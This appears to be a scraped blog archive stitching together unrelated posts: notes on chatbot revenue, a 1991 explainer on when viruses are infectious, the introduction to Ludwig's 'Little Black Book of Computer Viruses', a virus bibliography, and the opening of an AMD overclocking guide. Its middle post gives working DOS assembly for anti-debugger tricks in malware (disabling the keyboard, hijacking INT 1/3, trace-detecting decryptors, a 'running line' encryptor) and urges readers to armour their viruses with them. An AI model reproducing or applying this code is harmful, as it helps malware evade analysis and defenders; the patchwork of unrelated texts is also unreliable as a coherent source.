There are obvious revenue opportunities around subscriptions, advertising and commerce. If bots are designed to save you time that you’d normally spend on mundane tasks or interactions, it’s possible they’ll seem valuable enough to justify a subscription fee. If bots start to replace some of the functions that you’d normally use a search engine like Google for, it’s easy to imagine some sort of advertising component. Or if bots help you shop, the bot-maker could arrange for a commission.
(More immediately, bot hosting platforms like Facebook and Slack potentially stand to make money from companies that want to promote their bot to new users. Or at least from getting people to spend more time with their services, if bots prove useful.)
Part of the appeal of bots is that they simply automate things that companies are currently paying humans to do. So some value may be more about cost savings than new revenue streams.

Viral activation

2015-01-16T22:17:00.000-08:00

In attempting to protect against viral infection, and
particularly when trying to disinfect systems, it is important to
bear in mind the times that the virus is actively "infectious". 
The viral activation is not the same as the activation of the
payload that a virus may carry.  For example, the payload of the
original "Stoned" virus was a message which appeared on the
screen saying "Your PC is now Stoned!".  This message only
appears at boot time, and on only one eighth of the times the
computer is rebooted.  The virus, however, is infectious at all
times, if it has infected the hard disk.

There are basically three possibilities for the infectious
period: now ("one-shot"), during program run ("while called") or
from now on (resident).  These periods may be modified by other
circumstances.  A resident virus may remain in memory, but only
be actively infecting when a disk is accessed.  A "while called"
virus may only infect a new program when a directory is changed.

"One-shot" viri only get one chance on each "run" of the infected
program.  The viral code will seek out and infect a target
program.  They then pass control to the original program, and
perform no further functions.  These are, of course, the simplest
of the viral programs.  Mainframe "mail" viri are generally of
this type.

The second class will activate when the infected program is
called, and then pass partial control to the original program. 
The virus, however, will remain operational during the time that
the infected program is running.  If this can be accomplished, it
is only a slight jump to write a fully memory resident virus.

Resident viri are the most successful, and the most dangerous, of
viral programs.  A resident virus will become active when an
infected program is run (or at boot time for boot sector
infectors), and remain active until the computer is rebooted or
turned off.  (Some viral programs are even able to trap the
rebooting sequence that is normally called when you press Ctrl-
Alt-Del on an MS-DOS PC, and thus are able to survive a "warm
boot.")  The most successful of the file infectors, the Jerusalem
virus, is resident, as are all boot sector infectors.  (For
fairly obvious reasons; the boot sector is never "called" in
normal operation.)

If a virus is active in memory, it is a waste of time trying to
disinfect a file or disk.  No sooner is the file "cleaned", than
it becomes a suitable target for re-infection.  You may try to
disinfect a hard disk right down to performing a low level
format: as soon as the disk is reformatted it may be infected all
over again.  This is why all directions for disinfection stress
the necessity of "cold" booting from a disk that is known to be
free of infection before attempting any cleanup.

copyright Robert M. Slade, 1991   FUNGEN5.CVP   910828

The Little Black Book Of Computer Viruses

2015-01-16T22:12:00.001-08:00

---

WARNING: This book contains complete source code for live
computer viruses which could be extremely dangerous in the hands
of incompetent persons. You can be held legally liable for the
misuse of these viruses, even if such misuse is unintentional. Do
not attempt to execute any of the code in this book unless you
are well versed in systems programming for personal computers,
and you are working on a carefully controlled and isolated
computer system. Dont screw your self (Pardon my language)

---

            The Little Black Book Of Computer Viruses

                           Volume One:

                      The Basic Technology

                        By Mark A. Ludwig

============
INTRODUCTION
============


     This is the first part in a series of three books about
computer viruses. In these volumes, I want to challenge you to
think in new ways about viruses, and break down false concepts
and wrong ways of thinking, and go on from there to discuss the
relevance of the computer viruses in today's world. These books
are not a call to a witch hunt, or manuals for protecting
yourself from viruses. On the contrary, they will teach you how
to design viruses, deploy them, and make them better. All three
volumes are full of source code for viruses, including both new
and well known varieties.

     It is inevitable that these books will offend some people.
In fact, I hope they do. They need to. I am convinced that
computer viruses are not evil and that programmers have the right
to create them, posses them and experiment with them. That kind
of a stand is going to offend a lot of people, no matter how it
is presented. Even a purely technical treatment of viruses which
simply discussed how to write them and provided some examples
would be offensive. The mere thought of a million well armed
hackers out there is enough to drive some bureaucrats mad. These
books go beyond a technical treatment, though, to defend the idea
that viruses can be useful, interesting, and just plain fun. That
is bound to prove even more offensive. Still, the truth is the
truth, and it needs to be spoken, even if it is offensive. Morals
and ethics cannot be determined by a majority vote, any more than
they can be determined by the barrel of a gun or loud mouth.
Might does not make right.

     If you turn out to be one of those people who gets offended
or upset, or if you find yourself violently disagreeing with
something I say, just remember what an athletically minded friend
of mine once told me: "No pain, no gain." That was in reference
to muscle building, but the principle applies intellectually as
well as physically. If someone only listens to people he agrees
with, he will never grow and he'll never succeed beyond his
little circle of yes-men. On the other hand, a person who listens
to different ideas at the risk of offense, and who at least
considers that he might be wrong, cannot but gain from it. So if
you are offended by something in this book, please be critical -
both of the book and of yourself- and don't fall into a rut and
let someone else tell you how to think.

     From the start I want to stress that I do not advocate
anyone's going out and infecting an innocent party's computer
system with a malicious virus designed to destroy valuable data
or bring their system to a halt. That is not only wrong, it is
illegal. If you do that, you could wind up in jail or find
yourself being sued for millions. However, this doesn't mean that
it is illegal to create a computer virus and experiment with it,
even though I know some people wish it was. If you do create a
virus, though, be careful with it. Make sure you know it is
working properly or you may wipe out your own system by accident.
And make sure you don't inadvertently release it into the world,
or you may find yourself in a legal jam... Even if it was just an
accident. The guy who loses a year's worth of work may not be so
convinced that it was an accident. And soon, it may be illegal to
infect a computer system (even your own) with a benign virus
which does no harm at all. The key word here is responsability.
Be responsible. If you do something destructive, be prepared to
take responsability. "The program included in this book could be
dangerous if improperly used. Treat them with the respect you
would have for a lethal weapon."

     This first of three volumes is a technical introduction to
the basics of writing computer viruses. It discusses what a virus
is and how it does its job, going into the major functional 
components of the virus, step by step. Several different types of
viruses are developed from the ground up, giving the reader
practical how-to information for writing viruses. That is also a
prerequisite for decoding and understanding any viruses one may
run across in his day to day computing. Many people think of
viruses as sort of a black art. The purpose of this volume is to
bring them out of the closet and look at them matter-of-factly,
to see them for what they are, technically speaking: computer
programs.

     The second volume discusses the scientific applications of
computer viruses. There is a whole new field of scientific study
known as artificial life (AL) research which is opening up as a
result of the invention of viruses and related entities. Since
computer viruses are functionally similar to living organisms,
biology can teach us a lot about them, both how they behave and
how to make them better. However, computer viruses also have the
potential to teach us something about living organisms. We can
create and control computer viruses in a way that we cannot yet
control living organisms. This allows us to look at life
abstractly to learn about what it really is. We may even reflect
on such great questions as the beginning and subsequent evolution
of life.

     The third volume of this series discusses military
applications for computer viruses. It is well known that computer
viruses can be extremly destructive, and that they can be
deployed with minimal risk. Military organizations throughout the
world know that too, and consider the possibility of viral attack
both a very real threat and very real offensive option. Some high
level officials in various countries already believe their
computers have been attacked for political reasons. So the third
volume will probe military strategies and real-life attacks, and
dig into the development of viral weapon systems, defeating anti-
viral defenses, etc.

     You might be wondering at this point why you should spend
time studying these volumes. After all, computer viruses
apparently have no commercial value apart from their military
applications. Learning how to write them may not make you more
employable, or give you new techniques to incorporate into
programs. So why waste time with them, unless you need then to
sow chaos among your ennemies? Let me try to answer that: Ever
since computers were invented in the 1940's, there has been a
brotherhood of people dedicated to exploring the limitless
possibilities of these magnificent machines. This brotherhood has
included famous mathematicians and scientists, as well as
thousands of unnamed hobbyists who built their own computers, and
programmers who love to dig into the heart of their machines. As
long as computers have been around, men have dreamed of
intelligent machines which would reason, and act without being
told step by step just what to do. For many years this was purely
science fiction. However, the very thought of this possibility
drive some to attempt to make it a reality. This "artificial
intelligence" was born. Yet AI applications are often driven by
commercial interests, and tend to be colored by the fact. Typical
results are knowledge bases and the like - useful, sometimes
exciting, but also geared toward putting the machine to use in a
specific way, rather that to exploring it on its own terms.

     The computer virus is a radical new approach to this idea of
"living machines." Rather that trying to design something which
poorly mimics highly complex human behavior, one starts by trying
to copy the simplest of living organisms. Simple one-celled
organisms don't do very much. The most primitive organisms draw
nutrients from the sea in the form of inorganic chemicals, and
take energy from the sun, and their only goal is apparently to
survive and to reproduce. They aren't very intelligent, and it
would be tough to argue about their metaphysical aspects like
"soul." Yet they do what they were programmed to do, and they do
it very effectively. If we were to try to mimic such organisms by
building a machine - a little robot - which went around
collecting raw materials and putting them together to make
another robot, we would have a very difficult task on our hands.
On the other hand, think of a whole new universe - not this
physical world, but an electronic one, which exists inside of a
computer. Here is the virus' world. Here it can "live" in a sense
not too diffrentt from that of primitive biological life. The
computer virus has the same goal as a living organism - to
survive and to reproduce. It has environmental obstacles to
overcome, which could "kill" it and render it inoperative. And
once it is released, it seems to have a mind of its own. It runs
off in its electronic world doing what it was programmed to do.
In this sense it is very much alive.

     There is no doubt that the beginning of the life was an
important milestone in the history of the earth. However, if one
tries to consider it from the viewpoint of inanimate matter, it
is difficult to imagine life as being much more than a nuisance.
We usually assume that life is good and that it deserves to be
protected. However, one cannot take a step further back and see
life as somehow beneficial to the inanimate world. If we consider
only the atoms of the universe, what difference does it make if
the temperature is seventy degrees farenheit or twenty million?
What difference would it make if the earth were covered with
radioactive materials? None at all. Whenever we talk about the
environment and ecology, we always assume that life is good and
that it should be nurtured and preserved. Living organisms
universally use the inanimate world with little concern for it,
from the smallest cell which freely gathers the nutrients it
needs and pollutes the water it swims in, right up to the man who
crushes up rocks to refine the metals out of them and build
airplanes. Living organisms use the material world as they see
fit. Even when people get upset about something like strip 
mining, or an oil spill, their point of reference is not that of
inanimate nature. It is an entirely selfish concept (with respect
to life) that motivates them. The mining mars the beauty of the
landscape - a beauty which is in the eye of the (living) beholder
- and it makes it unhabitable. If one did not place a special
emphasis on life, one could just as well promote strip mining as
an attempt to return the earth to its pre-biotic state!

     I say all of this not because I have a bone to pick with
ecologists. Rather I want to apply the same reasoning to the
world of computer viruses. As long as one uses only financial
criteria to evaluate the worth of a computer program, viruses can
only be seen as a menace. What do they do besides damage valuable
programs and data? They are ruthless in attempting to gain access
to the computer system resources, and often the more ruthless
they are, the more successful. Yet how does that differ from
biological life? If a clump of moss can attack a rock to get some
sunshine and grow, it will do so ruthlessly. We call that
beautiful. So how different is that a computer virus attaching
itself to a program? If all one is concerned about is the
preservation of inanimate objects (which are ordinary programs)
in this electronic world, then of course viruses are a nuisance.

     But maybe there is something deeper here. That all depends
on what is most important to you, though. It seems that modern
culture has degenerated to the point where most men have no
higher goals in life than to seek their own personal peace and
prosperity. By personal peace, I do not mean freedom from war,
but a freedom to think and believe whatever you want without ever
being challenged in it. More bluntly, the freedom to live in a
fantasy world of your own making. By property, I mean simply an
ever increasing abundance of material possessions. Karl Marx
looked at all of mankind and said that the motivating force
behind every man is his economic well being. The result, he said,
is that all of history can be interpreted in terms of class
struggles - people fighting for economic control. Even though
many in our government decry Marx as the father of communism, our
nation is trying to squeeze itself into the straight jacket he
has laid for us. That is why two of George Bush most important
campaign promises were "four more years of prosperity" and "no
new taxes." People vote for their wallets, even when they know
the politicians are lying through their teeth.

     In a society with such values, the computer becomes merely a
resource which people use to harness an abundance of information
and manipulate it to their advantage. If that is all there is to
computers, then computer viruses are a nuisance, and they should
be eliminated. Surely there must be some nobler purpose for
mankind than to make money, though, even though that may be
necessary. Marx may not think so. The government may not think
so. And a lot of loud-mouthed people may not think so. Yet great
men from every age and every nation testify to the truth that man
does have a higher purpose. Should we not be as Socrates, who
consider himself ignorant, and who sought Truth and Wisdom, and
valued them more highly than silver and gold? And if so, the
question that really matters is not how computers can make us
wealthy or give us power over others, but how they might make us
"wise". What can we learn about ourselves? About our world and,
yes, maybe even about God? Once we focus on that, computer
viruses become very interesting. Might we not understand life a
little better if we can create something similar, and study it,
and try to understand it? And if we understand life better, will
we not understand our lives, and our world better as well?


     A word of caution first: Centuries ago, our nation was
etablished on philosophical principles of good government, which
were embodied in the Declaration of Independence and
Constitution. As personal peace and prosperity have become more
important than principles of good government, the principles have
been manipulated and redefined to suit the whims of those who are
in power. Government has become less and less sensitive to civil
rights, while it has become easy for various political and
financial interests to manipulate our leaders to their adventage.

     Since people have largely ceased to challenge each other in
what they believe, accepting instead the idea that whatever you
want to believe is OK, the government can no longer get people to
obey the law because everyone believes in a certain set of
principles upon which the law is founded. Thus, government must
coerce people into obeying it with increasingly harsh penalities
for disobedience - penalities which often fly in the face of long
established civil rights. Furthermore, the government must
restrict the average man's ability to seek recourse. For example,
it is very common for the government to trample all over long-
standing constitutional rights when enforcing the tax code. The
IRS routinely forces hundreds of thousands of people to testify
against themselves. It routinely puts the burden of proof on the
accused, seizes his assets without trial, etc., etc. The bottom
line is that it is not expedient for the government to collect
money from its citizens if it has to proove their tax documents
wrong. The whole system would break down in a massive overload.
Economically speaking, it is just better to put the burden of
proof on the citizen, Bill of Rights or no.

     Likewise, to challenge the government on a question of
rights is practically impossible, unless your case happens to
serve the purposes of some powerful special interest group. In a
standard courtroom, one often cannot even bring up the subject of
constitutional rights. The only question to be argued is whether
or not some particular law was broken. To appeal to the Supreme
Court will cost millions, if the politically motivated justices
will even condescend to hear to case. So the government becomes
pratically all-powerful, God walking on earth, to the common man.
One man seems to have little recourse but to blindy obey those in
power.


     When we start talking about computer viruses, we're treading
on some ground that certain people want to post a "No Trepassing"
sign on. The congress of the United States has considered a
"Computer Virus Eradication Act" which would make it a felony to
write a virus, or for two willing parties to exchange one. Never
mind that the constitution garantees freedom of speech and
freedom of the press. Never mind that it garantees the citizens
the right to bear military arms (and viruses might be so
classified). While that law has not passed as of this writing, it
may by the time you read this book. If so, I will say without
hesitation that it is a miserable tyranny, but one that we can do
little about... for now.

     Some of our leaders may argue that many people are not
capable of handling the responsability of power that comes with
understanding computer viruses, just as they argue that people
are not able to handle the power of owning assault rifles or
machine guns. Perhaps some cannot. But I wonder, are our leaders
any better able to handle the much more dangerous weapons of law
and limitless might? Obviously they think so, since they are busy
trying to centralize all power into their own hands. I disagree.
If those in government can handle power, then so can the
individual. If the individual cannot, then neither can his
representatives, and our end is either tyranny or chaos anyhow.
So there is no harm in attempting to restore some small power to
the individual.

     But remember: truth seekers and wise men have been
persecuted by powerful idiots in every age. Although computer
viruses may be very interesting and worthwhile, those who take an
interest in them may face some serious challenges from base men.
So be careful.

     Now join with me and take the attitude of early scientists.
These explorers wanted to understand how the world worked - and
whether it could be turned to a profit mattered little. They were
trying to become wiser in what's really important by
understanding the world a little better. After all, what value
could there be in building a telescope so you could see the moons
around Jupiter? Galileo must have seen something in it, and it
must have meant enough to him to stand up to the ruling
authorities of his day and do it, and talk about it, and
encourage others to do it. And to land in prison for it. Today
some people are glad he did.

     So why not take the same attitude when it comes to creating
life on a computer? One has to wonder where it might lead. Could
there be a whole new world of electronic life forms possible, of
which computer viruses are only the most rudimentary sort?
Perhaps, they are the electronic analog of the simplest one-
celled creatures, which were only the tiny beginning on life on
earth. What would be the electronic equivalent of a flower, or a
dog? Where could it lead? The possibilities could be as exciting
as the idea of a man actually standing on the moon would have
been to Galileo. We just have no idea.

     There is something in certain men that simply drives them to
explore the unknown. When standing at the edge of a vast ocean 
upon which no ship ever sailed, it is difficult not to wonder
what lies beyond the horizon just because the rules of the day
tell you you're going to fall of the edge of the world (or
they're going to push you off) if you try to find out. Perhaps
they are right. Perhaps there is no value out there. Yet great
explorers down trough the ages have explored other oceans and
succeeded. And one thing is for sure: we'll never know if someone
doesn't look. So I would like to invite you to climb aboard the
little mast that I have built and go exploring...
---
                   Bibliography on Viruses.

The following is a list of books on the subject of computer
viruses and virus-related topics that I have accumulated over the
years.  It is not meant to be all-inclusive or a complete guide
on the subject and inclusion here is not to be concluded as being
an endorsement of any sort.

Aryeh Goretsky                          TEL:     (408) 988-3832
Mgr, Tech Support Dept                  FAX:     (408) 970-9727
McAfee Associates, Inc.                 BBS:     (408) 988-3832
3350 Scott Blvd, Bldg 14                CIS:     76702,1714 Santa
Clara, CA  95054-3107              Internet:    
aryehg@mcafee.COM
_________________________________________________________________

Burger, Ralf. COMPUTER VIRUSES: A HIGH-TECH DISEASE, 3rd Ed.
Abacus Press, Grand Rapids, MI: 1989. 276pp

______, ____.  COMPUTER VIRUSES AND DATA PROTECTION. Abacus
Press, Grand Rapids, MI: 1991. 353pp

Denning, Peter J., Ed. COMPUTERS UNDER ATTACK: INTRUDERS, WORMS
AND VIRUSES, ACM PRESS: 1990. 554pp

Ferreyra Cortes, Gonzalo. VIRUS EN LAS COMPUTADORAS (in Spanish),
Macrobit, Miami, FL: 1990.

Fites, Philip, Peter Johnston, and Martin Kratz. COMPUTER VIRUS
CRISIS, THE, Van Nostrand Reinhold, NY: 1989. 171pp

Haynes, Colin. THE COMPUTER VIRUS PROTECTION HANDBOOK, Sybex,
Alameda, CA: 1990. 192pp

Hoffman, Lance J, Ed. ROGUE PROGRAMS: VIRUSES, WORMS, AND TROJAN
HORSES, Van Nostrand Reinhold, NY: 1990. 384pp

Hruska, Jan. COMPUTER VIRUSES AND ANTI-VIRUS WARFARE. Ellis
Horwood, Ltd., West Sussex, UK: 1990. 128pp

Jacobson, Robert V. THE PC VIRUS CONTROL HANDBOOK, 2nd Edition,
Miller Freeman Publications, NY: 1990. 162pp

________, ________. USING McAFEE ASSOCIATES SOFTWARE FOR SAFE
COMPUTING. International Security Technology, NY: 1992. 143pp

Jarvinen, Petteri. TIETOKONE VIRUKSET (in Finnish), Werner
Soderstrom Osakeyhtio, Helsinki: 1990. 226pp

Javeri, Harsh, and Suchit Nanda. WAR ON VIRUS, The Computer Book
Shop, Bombay: 1990. 292pp

Lundell, Allan. VIRUS! THE SECRET WORLD OF COMPUTER INVADERS THAT
BREED AND DESTROY. Contemporary Books, Chicago: 1989. 189pp

McAfee, John, and Colin Haynes. COMPUTER VIRUSES, WORMS, DATA
DIDDLERS, KILLER PROGRAMS AND OTHER THREATS TO YOUR SYSTEM. St
Martins, NY: 1988. 235pp

The following books, while not specifically about computer
viruses, contain information that may be of interest:

Baker, Richard H. COMPUTER SECURITY HANDBOOK, 2nd Ed. TAB Books,
Blue Ridge Summit, PA: 1991. 416pp

DeMaio, Harry B. INFORMATION PROTECTION AND OTHER UNNATURAL
ACTS., AMACOM, New York: 1992. 232pp

Forester, Tom, and Perry Morrison. COMPUTER ETHICS: CAUTIONARY
TALES AND ETHICAL DILEMMAS IN COMPUTING. MIT Press, Cambridge:
1990. 193pp

Jennings, Karla. THE DEVOURING FUNGUS: TALES OF THE COMPUTER AGE,
WW Norton & Co., NY: 1990. 237pp

Mueller, Scott. QUE'S GUIDE TO DATA RECOVERY. QUE Corporation,
Carmel, IN: 498pp

National Research Council. COMPUTERS AT RISK: SAFE COMPUTING IN
THE INFORMATION AGE. National Academy Press, Washington DC: 1991.
303pp

Raymond, Eric, Ed. THE NEW HACKERS DICTIONARY., MIT Press,
Cambridge: 1991. 433pp

Rothman, David H. THE COMPLETE LAPTOP COMPUTER GUIDE, St Martins,
NY: 1990. 384pp

Sawicki, Ed. LAN DESKTOP GUIDE TO SECURITY, SAMS, Carmel, IN:
1992. 349pp

Wilson, Ralph. HELP! THE ART OF COMPUTER TECHNICAL SUPPORT,
Peachpit Press, Berkeley: 1991. 231pp

=================================================================

Anti-Debugger Techniques

2015-01-16T22:09:00.001-08:00

Hi

I have been taking a time off from writing my blogs. here I am writing again..

Many of us have gone through debugging and so on.

This topic is just for educational purposes only and i have adopted it from various sites and bit of research.

I am not responsible for any of your action.

There are many simple and trivial ways to thwart debuggers. This
document will deal mainly with more advanced methods.

Perhaps the most obvious way to kill a debugger, is to overwrite
the Interrupt Vector  of  Interrupts 1 (Debug Single Step), and 3 (Debug
Break Point). This can be defeated by simply skipping the instructions.
Another thing you could do, is place an INT 3 in a long loop, which will
cause the debugger to stop at the INT 3 each iteration,  which will stop
the AV from simply proceeding through the loop.  This  is  very  easilly
defeated by NOP'ing out the INT 3.

 
Another thing to do, is turn of the keyboard. There are manyways
to do this, but the simplest is:        IN      AL,20h ;Turn of Keyboard IRQ
                                        OR      AL,02
                                        OUT     AL,20

                                        <virus code>

                                        IN      AL,20   ;Enable Keyboard IRQ
                                        AND     AL,NOT 2
                                        OUT     AL,20

           Anti-Debugger Techniques: Interrupt Replacement
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        This technique involves replacing the vector of a  INTERRUPT 1/3
with the interrupt off another interrupt, and calling that instead. This
works especially well with INT 3, as it is only 1 byte long, and can not
simply be replaced with the proper Interrupt. Here is an example of  INT
replacement from the virus [H8urNMEs].  It changes INT 3 to point to the
tunneled INT 21, and calls INT 3 for all DOS requests:
------------------------------------------------------------------------

         mov     ax,3503
        int     21

        mov     int_3_seg,es
        mov     int_3_off,bx

        lds     dx, site_traced_off
        mov     ax,2503
        int     21

        mov     ds,cs

        mov     ax,3524
        int     3

        mov     int_24_seg,es
        mov     int_24_off,bx
------------------------------------------------------------------------

It simply makes INT 3 point to DOS,  and uses this fact to fetch
the INT 24 vector.

       Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       When tracing through code,  with INT 1,  the 6 bytes below SP are
overwritten with the pushed returnig IP, CS, and Flags. There are 2 ways
to take advantage of this fact.  The first is to PUSH a value on to  the
stack, POP it, and then adjust SP and POP it again to see if it changes.
If it has, the code has been traced. Here is an example:
------------------------------------------------------------------------

                PUSH    AX
                POP     AX
                DEC     SP
                DEC     SP
                POP     BX              ;BX should point to the pushed AX.
                CMP     AX,BX
                JNE     CODE_IS_TRACED
------------------------------------------------------------------------

        The second  way is to store  a critigal value  like a Decryption
key in SP. This value should also point to the code, and you should  NOT
use any stack operations. This way,  if a debugger is running,  the code
that SP  points to will  be overwritten.  Here is a  complete program to
illustrate it. To make it run properly,  you must have to encrypt it.  I
will not how you how.. If you can not work it out you should not even be
reading this.  It also has the  added advantage of avoiding the TBAV '#'
(decryptor) flag. Any way here it is:
------------------------------------------------------------------------
;STACK.ASM

        radix   16

elength equ     (end - estart)/2

        org     100

        mov     bp,sp
        cli
        mov     sp,estart
        sti

        mov     bx,sp
        mov     cx,elength

eloop:  xor     cs:[bx],sp      ;SP is decryption key.
        inc     bx
        inc     bx              ;If a Debugger is running,
        cli                     ;All the code after ESTART will be
        add     sp,6            ;overwritten.
        sti
        loop    eloop

estart:
        cli
        mov     sp,bp
        sti

        mov     ah,9
        mov     dx,offset msg - 12
        add     dx,12
        int     21
        mov     ah,4c
        int     21

msg     db      'Yeah!!$'

end:

Anti-Debugger Techniques: Use Your Anti-Debug Routines as The Decrypt Key
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        This is a lot easier to do then it sounds. Basically, all you have
to do is retreive a byte from the Anti - Debugger routines each time,  and
use it to modify your decryption routine in some manor. Of course the code
you are decrypting must have been encrypted in a corresponding manner! Any
way, here is a code fragment example:
------------------------------------------------------------------------

;This code LODSBs a byte from the Anti-Debug routine, on each iteration,
;and ADDs it to the XOR key. Because of this the AV can not simply NOP
;out the INT 3, and other traps in the Anti-Debug routine which is called
;on each iteration! DEC_START is assumed to be the offset of the start of
;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt.

                mov     dl,0aa  ;initial key.

decrypt:        mov     di,offset dec_start
                mov     cx,dec_length
                mov     si,offset decrypt       ;offset of code to use
                                                ;to modify decryption key.
dec_loop:       lodsb                           ;AL=byte from anti-debug
                                                ;routines

                add     dl,al                   ;MODIFY KEY. If code has been
                                                ;modified, the key will be
      ;wrong.

                xor     [di],dl                 ;decrypt
                inc     di

                call    anti_debug              ;kill debuggers.
                                                ;this call cant be NOP'd out,
                                                ;as it is part of the Decrypt
                                                ;key.

                cmp     si,offset end_ad        ;if SI has reached end of
                jne     no_fix                  ;anti-debug code, reset it.
                mov     si,offset decrypt

no_fix:         loop    dec_loop

                jmp     dec_start               ;JMP past Anti_Debug to
                                                ;the newly decrypted code..

Anti_Debug:     in      al,20   ;get IRQ status.
                or      al,2    ;Disable IRQ 1 (keyboard)
                out     20,al

                int     3       ;stop the debugger on each loop (you cant
                int     3       ;NOP these out!), note that when the debugger
                                ;stops here, the keyboard will be disabled,
                                ;so the can't do any thing!


                push    ax
                push    ds
                xor     ax,ax
                mov     ds,ax
                xchg    ax,[4]  ;Kill INT 1
                int     3       ;Fuck with their heads
                xchg    ax,[4]  ;restore INT 1
                pop     ds

                mov     ax,offset ad_jmp        ;destination of JMP
                push    ax
                pop     ax
                dec     ax
                dec     ax      ;if this code was traced, AX will no longer
                pop     ax      ;be equal to the JMP destination
                jmp     ax
                pop     ax
                ret

        (BELOW CODE IS ENCRYPTED)
dec_start:      in      al,20
                and     al,NOT 2
                out     20,al   ;Re-Enable Key board..

                <REST OF VIRUS CODE>

------------------------------------------------------------------------

                Anti-Debugger Techniques: The Running Line
                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        The last method, I am going to illustrate, is called the Running
Line. It is VERY resistant to debuggers. It involves hooking INT 1,  and
Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it
_STRAIGH AFTER_ it has been executed.  This way, only _1_ instruction at
a time is decrypted in memory. Here is a fully working example.
------------------------------------------------------------------------

;RUNLINE.ASM

        radix   16

        org     100

        xor     ax,ax                   ;ax=0
        mov     es,ax                   ;es=ax=0
        mov     di,es:W[4]
        mov     si,es:W[6]              ;save int 1 vector
        mov     es:W[4],offset tracer
        mov     es:W[6],cs              ;int1 = cs:tracer
        mov     bp,sp
        pushf
        or      B[bp-1],1               ;set TRACE flag
        popf                            ;set it

        xor     dx,dx                   ;this serves no purpose, and
                                        ;is just here because the first
                                        ;instruction after setting the
                                        ;flag is not traced.

;**********************************************************************
;** The below data, is the Encrypted instructions. The INT 1 handler **
;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the **
;** instruction (WORD) with its offset in CS (ie. it's IP when it's  **
;** run). Thats why each word is XOR'd with $ (it's position).       **
;**********************************************************************

        dw      01f0e   XOR     $       ;PUSH CS / POP DS
        dw      009b4   XOR     $       ;MOV AH,9h
        dw      0ba90   XOR     $       ;NOP / MOV DX,
        dw      offset msg              ;offset msg
        dw      021cd   XOR     $       ;INT 21h
        dw      0e589   XOR     $       ;MOV BP,SP
        dw      06680   XOR     $       ;AND B[BP+,
        dw      0feff                   ;FF],FE (turn off TRACE flag).

last_enc        equ             $
        dw      0bb9d   XOR     $       ;POPF / MOV BX,
        dw      last_enc                ;LAST_ENC

        xor     cs:W[bx],bx             ;re-encrypt last instruction..

        mov     es:W[4],di
        mov     es:W[6],si              ;restore int 1 vector

        mov     ah,4c
        int     21

;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions
;       NOP
;       MOV     DX,OFFSET MSG
;the MOV DX opcode is on an odd boundary, and hence, the decryptor will
;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV     DX,OFFSET MSG
;is not encrypted, because it it is data from another instruction, and
;therefore it will never be executed, and passed to the INT 1 handler.
;The same goes for the +FF(-1),FE in the AND B[BP-1],FE.


;**********************************************************************
;** The following procedure, is the work horse of this code. The CPU **
;** will call this INT 1 handler before each opcode as long as the   **
;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in **
;** virii, this contains no defensive traps. This is because we are  **
;** tracing our own code, and not unknown (possibly hostile) code.   **
;** It retrieves the calling IP from the stack, and if it is odd,    **
;** exits. If even, it will re-encrypt the previous instruction, and **
;** decrypt the current one. It saves the calling IP, so that it can **
;** re-encrypt it when it is called for the next instruction.        **
;**********************************************************************

tracer:
        push    bp                      ;save BP
        mov     bp,sp                   ;BP=SP for reference point of stack.
        push    si                      ;save SI
        mov     bp,W[bp+2]              ;BP = calling IP (position of
                                        ;encrypted instruction).
        test    bp,1                    ;check if on an odd boundry..
        jnz     is_odd                  ;it is so leave.
        mov     si,cs:last              ;else get the position of the last
                                        ;decrypted instruction to reincrypt.
        mov     cs:last,bp              ;save current position for next time.
        xor     cs:W[si],si             ;re-encrypt last (XOR it with its IP)
        xor     cs:W[bp],bp             ;decrypt current (XOR it with its IP)
is_odd:
        pop     si                      ;restore SI
        pop     bp                      ;restore BP
        iret                            ;adeos!

last    dw      0                       ;last IP for re-encrpytion..
msg     db      'Yeah!!$'               ;EVERYBODY SAY YEAH!!!!
------------------------------------------------------------------------

                                CONCLUSION
                                ~~~~~~~~~~

               -TAUGHT-WHEN-WE-ARE-YOUNG-TO-HATE-ONE-ANOTHER-

        I STRONGLY urge you to employ the above techniques in your virii
and/or poly engine. If your virus refuses to infect bait files,  is VERY
heavilly armoured,  so the can not decrypt it,  and dissasemble it,  and
mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO
IT? Devising an algorith for such a virus would be _VERY_ difficult.

finally i would like to thank the people behind this..

AMD Overclocking Guide

2013-10-07T23:45:00.000-07:00

Note : please read this before you go ahead this is solely for education only and it is co authored
Prerequisites:
AMD based computer

Here’s a TON of information collected and discovered over the course of many, many years on the AMD side.
This guide will help you to understand not only the fundamentals of overclocking, but goes very in-depth into the process of overclocking the AMD platform.
It was written using several 9850BE CPUs along with an M3A32-MVP Deluxe motherboard, but applies to AMD processors from the old Athlon XP series* CPUs up to the current lineup of X6 processors.
*The older CPUs (up to and including DDR1 systems) does require a little different mathematical equation than what’s listed in this guide - if anyone needs to know how this works, please don’t hesitate to post!! - Otherwise, the entirety of this guide is geared more towards the newer hardware (AthlonII Phenom/PhenomII, in all cores manufactured)
DISCLAIMER: This tome of information is intended to be a guide, used as a template for YOUR overclocking adventure - in no way shall I be liable for any malfunction or damage as a result of using any of this information.
Everything in this post is from my own personal experience embellished with links and facts from other’s personal experiences. It was complied from 42 pages of hand-written notes spanning 4 different stepping Phenom 9850BE processors, along with prior knowledge of AMD architecture…nothing here is hearsay, it’s all real-world experience of what has proven to be an effective overclock for some of MY setups.
IN NO WAY do I mean for this guide to be followed to the letter - ALL components, even given the same exact stepping/lot #, sequential serial #’s, etc., will overclock the same.
There is no guarantee. You paid for parts that will perform at their advertised specifications, and what you’re doing by overclocking is getting *more* than what you paid for (hence the ‘no guarantees’ part.)
